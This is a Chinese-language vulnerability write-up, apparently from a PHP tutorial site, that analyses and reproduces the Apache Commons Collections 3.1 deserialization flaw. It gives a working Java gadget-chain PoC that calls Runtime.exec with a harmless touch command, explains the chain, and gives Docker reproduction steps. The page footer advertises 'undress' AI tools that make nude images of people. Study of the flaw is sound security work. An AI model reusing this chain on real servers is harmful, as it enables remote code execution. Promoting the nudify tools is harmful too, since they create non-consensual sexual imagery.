如何進行Apache Commons Collections反序列化漏洞分析與重現
1.1 狀態
完成漏洞挖掘條件分析、漏洞複現。
1.2 漏洞分析
有安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。
POC核心程式碼:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
漏洞利用想法:
Transformer介面-實作類別-InvokerTransformer(),可呼叫任何函數。
為實作 Runtime.getRuntime().exec(cmd),要多次呼叫 transformer 並將目前傳回結果當作下次輸入訊息。
為呼叫 Runtime.getRuntime(),考慮 ConstantTransformer 類,它可直接將輸入的參數作為輸出。
ChainedTransformer 作為實現類,對於接收的Transformer 數組,採用自身的transform方法(參數是用戶輸入的)逐次處理Transformer數組對象,將其結果作為下次重複調用的輸入參數。它的 transform()方法即可出觸發漏洞。
為尋找反序列化途徑,即讀進來資料被反序列化執行,則反向尋找可觸發ChainedTransformer 物件 .transform() 方法的途徑。
HashMap類別可以鍵值對方式儲存數據,put(key,value)方法可儲存資料。
TransformedMap類別的功能是儲存鍵值對並將其轉換為transform objects,decorate()方法可建立鍵值對群組,checkSetValue()方法會觸發this.valueTransformer.transform()語句。依序反向尋找調用 checkSetValue()【1】,使 this.valueTransformer 為 ChainedTransformer 物件的途徑【2】。
對於【2】,TransformedMap 類別的靜態方法 decorate()可達到目標。
對於【1】,AbstractInputCheckedMapDecorator 類別 MapEntry 靜態類別的setValue方法會執行this.parent.checkSetValue(value),則接下來應使this.parent為TransformedMap物件【3】 。
對於【3】,正向分析POC中此段程式碼:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
研究可知,執行過程中多次在AbstractInputCheckedMapDecorator類別中,將TransformedMap物件賦值給this.parent,返回Map.Entry對象,剛好可以執行setValue()方法,觸發漏洞。
為提升通用性,必須設法使得呼叫反序列化方法即觸發漏洞,因此,考慮尋找類別物件滿足「重寫反序列化readObject()且執行Map類別物件變數的setValue(),同時此變數可被控制賦鍵值資料」。 AnnotationInvocationHandler類別滿足此需求【它對Map類型的成員變數的每個條目均呼叫setValue()】。
Class.forName() 功能是載入類別。
則再次分析,對於【1】,正向分析POC中核心程式碼:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
研究可知,執行過程會執行 MapEntry 靜態類別的 setValue 方法,且會執行entrySet 方法使得this.parent=TransformedMap 對象,從而觸發漏洞。
總的來說,正向的POC建構想法為:先建構 ChainedTransformer 對象,隨後創建Map 對象,再採用 TransformedMap 類別實例將 ChainedTransformer 對象保存至Map 類別對像中,再透過反射方法獲得經Map 類別物件初始化的AnnotationInvocationHandler 類別實例,對其進行序列化。
1.3 docker複現
下載製作的docker映像,用以下指令:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
設定區域網路及容器ip、啟動容器,範例:
(1)自訂網路
docker network create --subnet=192.168.10.1/24 testnet
(2)啟動docker容器
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
在容器【Apache-Commons-Collections】中,執行指令【java -jar commons-collections-3.1.jar 】,則產生檔案【CommonsCollections3.1】,如下圖。
以上是如何進行Apache Commons Collections反序列化漏洞分析與重現的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

Java使用Collections類別的frequency()函數計算集合中指定元素出現的次數在Java程式設計中,Collections類別是一個包含了許多靜態方法的實用類,用於對集合進行操作。其中之一是frequency()函數,用來計算集合中指定元素出現的次數。這個函數非常簡單且易於使用,為Java開發人員提供了便利性和靈活性。下面是一個範例程式碼,展示如何使用

Java利用Collections類別的binarySearch()函數在有序集合中進行二分查找二分查找是一種在有序集合中查找特定元素的高效演算法。在Java中,我們可以利用Collections類別的binarySearch()函數來實作二分查找。本文將介紹如何使用binarySearch()函數來在有序集合中進行查找,並提供具體的程式碼範例。二分查找演算法的基本思

Java利用Collections類的shuffle()函數打亂集合中元素的順序在Java程式語言中,Collections類是一個工具類,提供了各種靜態方法,用於操作集合。其中之一是shuffle()函數,它可以用來打亂集合中元素的順序。本篇文章將示範如何使用該函數,並提供對應的程式碼範例。首先,我們需要導入java.util套件中的Collections類,

Java利用Collections類別的sort()函數對集合進行排序在Java中,我們經常需要對集合進行排序。而Collections類別提供了一個sort()函數,可以很方便地對集合進行排序。本文將介紹如何使用Collections類別的sort()函數進行集合排序,並附帶程式碼範例。首先,我們需要導入java.util包,以使用Collections類別。 imp

Java使用Collections類別的max()函數取得集合中的最大值在Java程式設計中,我們經常需要從一個集合中取得最大值。為了簡化這個過程,並提高程式碼的可讀性和效率,Java提供了Collections類別的max()函數。這個函數可以幫助我們輕鬆地找到集合中的最大值。本文將介紹如何使用Collections類別的max()函數,並附帶對應的程式碼範例。 Coll

一、簡介雖然網路上已經有很多文章對這個組件的反序列化漏洞進行分析,但在這裡還是記錄一下。畢竟,這對Java反序列化漏洞的發展意義重大。 ApacheCommonsCollections是Java應用程式開發中一個非常常用的工具庫,它增加了許多強大的資料結構,簡化了Java應用程式的開發,已經成為Java處理集合資料的公認標準。像許多常見的應用程式如Weblogic、WebSphere、Jboss、Jenkins等都使用了ApacheCommonsCollections工具庫,當該工具庫出現反序列化漏洞時,這

Python2.x中如何使用collections模組進行高階資料結構操作導語:在Python的標準函式庫中,collections模組提供了一些高階資料結構,能夠方便地進行各種操作。本文將介紹collections模組主要提供的幾種資料結構,並給出相關的程式碼範例。一、CounterCounter是一個簡單而強大的計數器工具,可以用來統計可迭代物件中每個元素

Laravel開發:如何使用LaravelCollections操作集合資料?在Laravel開發中,集合(Collections)是一個非常強大且實用的工具。開發人員可以使用LaravelCollections來方便地操作和處理集合資料。在本篇文章中,我們將介紹如何使用LaravelCollections操作集合資料。 1.什麼是集合(Collecti
